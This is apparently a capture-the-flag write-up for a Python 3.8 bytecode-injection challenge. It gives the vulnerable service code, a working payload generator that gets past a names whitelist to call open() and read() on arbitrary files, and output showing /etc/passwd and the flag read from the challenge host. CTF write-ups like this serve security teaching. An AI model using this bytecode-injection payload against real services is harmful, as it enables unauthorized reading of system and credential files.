This is basically a Python 3.8 shellcoding challenge (650pt).
Challenge instance ready at
88.198.219.20:24155
.
We’ve found an exploitable network service. Exploit it! For your convenience, the source has been provided.
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 main.py
Hello!
What’s your name?
ypl
Hello ypl!
It’s nice to meet you!
Let’s take a closer look:
print("Hello!") print("What's your name?") name = smart_input() name = put_on_stack(name[:32].decode()) + name[32:] print(f"Hello {execute_bytecode(name)}!") print("It's nice to meet you!")
put_on_stack()
generates some Python bytecode based on my input string, then execute_bytecode()
executes it. Interestingly, if name
is longer than 32 bytes, the program simply executes name[32:]
as bytecode:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 main.py
Hello!
What’s your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA
Segmentation fault
Well… 🙂
What are we trying to do with our payload? Take a look at execute_bytecode()
:
def execute_bytecode(code): """ Executes the provided bytecode. Handy for getting the top item off the stack. """ from types import CodeType import builtins # This should be large enough for most things stacksize = 1024 # Load in enough for put_on_stack to work. # NOTE: This function is unable to call "import" or similar # dangerous things due to co_names acting as a whitelist. # (Python loads names from a constants array, so it can"t # load something that"s not there!) consts = (*range(256), ) names = ("chr", "ord", "globals", "locals", "getattr", "setattr") # Tag on a trailing RETURN call just incase. code += b"S\x00" # Construt the code object inject = CodeType( 0, # For python 3.8 0, 0, 0, stacksize, 2, code, consts, names, (), "", "", 0, b"", (), () ) # Create a copy of globals() and load in builtins. builtins aren"t # normally included in global scope. globs = dict(globals()) globs.update({i: getattr(builtins, i) for i in dir(builtins)}) # Go go go! return eval(inject, globs)
We can’t simply import os
then os.system("/bin/sh")
. We are only allowed to call functions in the whitelist: chr()
, ord()
, globals()
, locals()
, getattr()
, setattr()
, as well as all builtins
functions.
My solution? globals()["open"]("flag.txt").read()
:
import sys def put(string): bytecode = b"" for n, i in enumerate(string): bytecode += b"t\x00" # LOAD_GLOBAL 0 (chr) bytecode += b"d" + bytes([ord(i)]) # LOAD_CONST n bytecode += b"\x83\x01" # CALL_FUNCTION 1 if n != 0: bytecode += b"\x17\x00" # BINARY_ADD return bytecode def attr(payload, attr): payload = b"e\x04" + payload # LOAD_GLOBAL 4 (getattr) payload += put(attr) payload += b"\x83\x02" # CALL_FUNCTION 2 return payload # globals() payload = b"e\x02" # LOAD_NAME 2 (globals) payload += b"\x83\x00" # CALL_FUNCTION 0 # globals()["open"] payload += put("open") payload += b"\x19\x10" # BINARY_SUBSCR # globals()["open"]("flag.txt") payload += put("flag.txt") payload += b"\x83\x01" # CALL_FUNCTION 1 # globals()["open"]("flag.txt").read() payload = attr(payload, "read") payload += b"\x83\x00" # CALL_FUNCTION 0 payload = b"a" * 32 + payload sys.stdout.buffer.write(payload)
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Traceback (most recent call last):
File “main.py”, line 79, in <module>
print(f”Hello {execute_bytecode(name)}!”)
File “main.py”, line 59, in execute_bytecode
return eval(inject, globs)
File “”, line 0, in
FileNotFoundError: [Errno 2] No such file or directory: ‘flag.txt’
peilin@PWN:~/ractf-2020/puffer_overflow$ echo -n H4K3R > flag.txt
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello H4K3R!
It’s nice to meet you!
Awesome!
By the way, here’s some other crazy stuff printed out by the program:
globals()["open"]
:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <built-in function open>!
It’s nice to meet you!
globals()["open"]("flag.txt")
:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <_io.TextIOWrapper name=’flag.txt’ mode=’r’ encoding=’UTF-8′>!
It’s nice to meet you!
Finally, globals()["open"]("flag.txt").read
:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <built-in method read of _io.TextIOWrapper object at 0x7fd0ac165d40>!
It’s nice to meet you!
Anyway, let’s get our flag!
peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
[b] Recieving all data: 0B
…
It hangs. Wait, what…? Maybe it is in a different directory? Let’s try /etc/passwd
:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
…
Hello root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ractf:x:100:65533:Linux User,,,:/home/ractf:/bin/bash
!
[DEBUG] Received 0x17 bytes:
b”It’s nice to meet you!\n”
It’s nice to meet you!
Oh my! How about /home/ractf/flag.txt
, then?
peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
…
[DEBUG] Received 0x1c bytes:
b’Hello ractf{Puff3rf1sh??}\n’
b’!\n’
[DEBUG] Received 0x17 bytes:
b”It’s nice to meet you!\n”
Nice! That’s a short flag, though.